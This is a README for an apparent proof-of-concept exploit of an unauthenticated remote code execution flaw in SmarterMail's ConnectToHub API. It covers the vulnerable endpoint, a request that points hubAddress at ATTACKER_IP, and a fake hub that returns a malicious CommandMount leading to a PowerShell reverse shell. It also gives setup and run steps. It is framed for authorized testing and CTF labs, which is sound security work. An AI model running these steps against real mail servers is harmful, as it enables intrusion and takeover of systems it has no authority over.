cyberalp0/smartermail-cve-2026-24423Unauthenticated RCE PoC for CVE-2026-24423 in SmarterTools SmarterMail (ConnectToHub). For authorized security testing, CTFs, and research only.
A Python-based exploit for CVE-2026-24423, an unauthenticated Remote Code Execution vulnerability in SmarterTools SmarterMail's ConnectToHub functionality.
Intended use: Authorized security testing, CTFs, Hack The Box labs, and controlled research environments only.
Use only against systems you own or are explicitly authorized to test. See SECURITY.md.
# 1. Clone
git clone https://github.com/CyberAlp0/SmarterMail-CVE-2026-24423.git
cd SmarterMail-CVE-2026-24423
# 2. (Optional) create a virtual environment — no third-party deps required
python3 -m venv .venv && source .venv/bin/activate
# 3. Configure LHOST / LPORT / HUB_PORT at the top of MalHub.py
# (see the Configuration section below)
# 4. Start your reverse-shell listener, then run the hub
python3 MalHub.py
Requires Python 3.6+ (standard library only). Full walkthrough in the Usage section below.
CVE-2026-24423 is an unauthenticated Remote Code Execution vulnerability affecting SmarterTools SmarterMail.
The vulnerability exists in the ConnectToHub functionality. An unauthenticated attacker can supply a malicious hubAddress, causing the SmarterMail server to make an HTTP request to an attacker-controlled server.
The malicious server responds with a crafted setup-initial-connection response containing a controlled SystemMount.CommandMount value.
The vulnerable SmarterMail instance subsequently processes this value as an operating-system command, allowing arbitrary command execution in the security context of the SmarterMail service.
The vulnerability was assigned a CVSS 4.0 score of 9.3 (Critical) and is classified as CWE-306: Missing Authentication for Critical Function.
| Field | Value |
|---|---|
| CVE | CVE-2026-24423 |
| Vendor | SmarterTools |
| Product | SmarterMail |
| Vulnerability | Unauthenticated Remote Code Execution |
| CWE | CWE-306 |
| CVSS v4.0 | 9.3 Critical |
| CVSS v3.1 | 9.8 Critical |
| Attack Vector | Network |
| Authentication | None |
| User Interaction | None |
| Complexity | Low |
| Published | January 23, 2026 |
| Fixed Build | 9511 |
The official CVE record describes the issue as an unauthenticated RCE through the ConnectToHub API method.
SmarterMail versions before Build 9511 are affected.
The CVE record specifies the affected range as:
SmarterMail < 100.0.9511
Build 9511, released January 15, 2026, contains the vendor fix.
< 100.0.9511
>= 100.0.9511
Always verify the exact installed build before attempting to reproduce the vulnerability.
The vulnerable functionality is exposed through the SmarterMail system administration API.
The relevant operation is:
/api/v1/settings/sysadmin/connect-to-hub
The endpoint accepts a hubAddress parameter.
Conceptually, an attacker can provide:
{
"hubAddress": "http://ATTACKER_IP:8081",
"oneTimePassword": "temporary-value",
"nodeName": "DC"
}
SmarterMail then connects to the supplied hub address and requests:
/web/api/node-management/setup-initial-connection
The attacker-controlled server responds with JSON containing a malicious SystemMount object.
The important property is:
"SystemMount": {
"Enabled": true,
"ReadOnly": false,
"MountPath": "...",
"CommandMount": "..."
}
The CommandMount value is subsequently used by the vulnerable application as an operating-system command.
This allows an attacker to transition from:
Unauthenticated HTTP request
to:
Remote command execution
VulnCheck's technical analysis confirms that the attacker-controlled hubAddress causes SmarterMail to request the attacker's setup-initial-connection endpoint and that the returned CommandMount can provide arbitrary command execution.
The exploit consists of two components:
The Python server listens for:
POST /web/api/node-management/setup-initial-connection
and returns a crafted JSON response containing the malicious SystemMount.CommandMount.
A separate TCP listener receives the connection initiated by the command executed on the target.
This exploit intentionally uses two separate ports.
8081
└── Fake SmarterMail Hub
4455
└── Reverse Shell Listener
flowchart LR
A[Attacker<br/>10.10.14.50]
H[Fake SmarterMail Hub<br/>TCP/8081]
T[SmarterMail Target<br/>10.129.57.86]
C[CommandMount<br/>Command Execution]
P[PowerShell]
L[Reverse Shell Listener<br/>TCP/4455]
A -->|Trigger ConnectToHub| T
T -->|HTTP POST| H
H -->|Malicious JSON| T
T -->|CommandMount| C
C --> P
P -->|Reverse TCP| L
L --> A
Target
|
| HTTP
v
10.10.14.50:8081
Target
|
| TCP
v
10.10.14.50:4455
These ports serve different purposes and should not be confused.
The exploit uses only Python standard-library modules:
http.server
json
base64
No external Python packages are required.
Edit the following variables:
LHOST = "10.10.14.50"
LPORT = 4455
HUB_PORT = 8081
For the example HTB environment:
LHOST = 10.10.14.50
LPORT = 4455
HUB_PORT = 8081
LHOST is the attacker's IP address that the target can reach.
For Hack The Box, this is normally the IP assigned to the HTB VPN interface:
ip addr show tun0
Example:
tun0:
inet 10.10.14.50
Therefore:
LHOST = "10.10.14.50"
LPORT is the TCP port used by the attacker to receive the reverse connection.
Example:
LPORT = 4455
HUB_PORT is the HTTP port used by the malicious SmarterMail hub.
Example:
HUB_PORT = 8081
git clone https://github.com/<username>/<repository>.git
cd <repository>
Edit:
nano exploit.py
Set: